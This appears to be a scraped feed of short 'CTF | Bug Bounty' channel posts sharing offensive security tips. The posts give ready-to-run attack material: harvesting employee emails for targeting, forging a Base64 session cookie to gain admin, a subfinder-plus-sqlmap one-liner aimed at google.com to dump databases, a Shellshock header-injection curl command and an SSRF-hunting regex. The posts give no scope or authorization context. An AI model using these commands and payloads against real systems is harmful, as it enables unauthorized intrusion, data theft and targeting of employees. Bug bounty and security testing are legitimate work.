No reviews yet. Be the first to share your experience!
Latest Posts
CTF | Bug Bounty
May 25, 2026, 12:45 AM
π· Photo
π° Collect emails, usernames from commit history of repos of an org from GitHub for more personalized targeting of employees.
GitHub: http://ghintel.secrets.ninja/
3,310
0
0
CTF | Bug Bounty
May 25, 2026, 12:45 AM
Akamai WAF bypass XSS
click and write here!
#WAF #Bypass
2,570
4
0
CTF | Bug Bounty
May 25, 2026, 12:45 AM
A simple hunt can flip the whole game!π
While testing a web app, I noticed this suspicious-looking session cookie:
Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==
I quickly ran it through Base64 decoding:
echo "e3VzZXI6ZGFya3NoYWRvdyxyb2xlOnVzZXJ9Cg==" | base64 -d
{user:darkshadow,role:user}
Wow π³ β it's a JSON-style string in plain Base64.
Time to see how deep the rabbit hole goes...
I modified the role from user to admin:
echo "{user:darkshadow,role:admin}" | base64
e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo=
Then replaced the cookie:
Cookie: session=e3VzZXI6ZGFya3NoYWRvdyxyb2xlOmFkbWlufQo=
BOOM π₯ Instantly, we got admin access!π₯
#collected
3,060
17
CTF | Bug Bounty
May 25, 2026, 12:45 AM
π File
π°Download all bug bounty programs domains in scope items!
Get a full list of domains from active bug bounty programs across platforms like HackerOne, Bugcrowd, Intigriti, and more β all in one place!
ππΌStep 1: Download the domains.txt file
πstep 2: Extract only main/root domains
cat domains.txt | awk -F '.' '{print $(NF-1)"."$NF}' | grep -Eo '([a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}' | sort -u > main_domains
πStep 3: Extract all IP addresses:
grep -Eo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' domains.txt > ips.txt
Don't forget to give reactionsβ€οΈ
3,250
25
CTF | Bug Bounty
May 25, 2026, 12:45 AM
A Method To Get Subdomains And Scan All By SQLmap And Save Vulns.
subfinder -d google.com -o subdomains.txt && sqlmap -m subdomains.txt --batch --random-agent --crawl=1 --dbs | tee sqlmap_output.txt | grep -E "available databases|[*]" > vulnerable.txt
Shellshock Exploit To Inject The Header By RCE.
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com
I used /bin/eject to avoid making any demonstrative effect. You can edit.
Automating SSRF using Autorepeater
In the window of Auto-Repeater, we can specify some regex to find urls.
https?:\/\/(www\.)?[-a-zA-Z0β9@:%._\+~#=]{1,256}\.[a-zA-Z0β9()]{1,6}\b([-a-zA-Z0β9()@:%_\+.~#?&//=]*)
#SSRF
L
